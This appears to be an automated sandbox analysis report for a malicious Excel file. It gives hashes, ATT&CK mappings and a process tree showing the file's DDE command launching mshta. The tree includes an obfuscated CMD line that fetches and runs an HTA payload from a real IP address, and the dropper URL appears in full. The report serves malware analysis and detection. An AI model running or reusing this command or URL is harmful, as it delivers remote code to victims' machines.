a7be01bf50c16dab698f3c2ff28a73689bbb9cac537e2ff395c770f48caa6cdd

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 17:40

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General

Target

a7be01bf50c16dab698f3c2ff28a73689bbb9cac537e2ff395c770f48caa6cdd.xls
Size

36KB
MD5

c3c5713e4ca446a1323143d2b61b6ea6
SHA1

63f176fcb766d18130e98e63423b0592a1712b92
SHA256

a7be01bf50c16dab698f3c2ff28a73689bbb9cac537e2ff395c770f48caa6cdd
SHA512

efce321e412143b66c5ca76d07850627aff9ca2755ecb5843b46d821504397e806ee703418c2ea813f04194e5f1eaffc370ca7efbc120f4d356fcc33e2444c85
SSDEEP

768:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJjj6ehEnmEzk:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2V

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2532	2544	CMD.EXE	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2256	mshta.exe
5	2256	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2544	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2544	EXCEL.EXE
2544	EXCEL.EXE
2544	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 2532	2544	EXCEL.EXE	30
PID 2544 wrote to memory of 2532	2544	EXCEL.EXE	30
PID 2544 wrote to memory of 2532	2544	EXCEL.EXE	30
PID 2544 wrote to memory of 2532	2544	EXCEL.EXE	30
PID 2532 wrote to memory of 2256	2532	CMD.EXE	33
PID 2532 wrote to memory of 2256	2532	CMD.EXE	33
PID 2532 wrote to memory of 2256	2532	CMD.EXE	33
PID 2532 wrote to memory of 2256	2532	CMD.EXE	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a7be01bf50c16dab698f3c2ff28a73689bbb9cac537e2ff395c770f48caa6cdd.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\SysWOW64\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2544-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2544-1-0x000000007209D000-0x00000000720A8000-memory.dmp

Filesize
44KB

Download
memory/2544-2-0x000000007209D000-0x00000000720A8000-memory.dmp

Filesize
44KB

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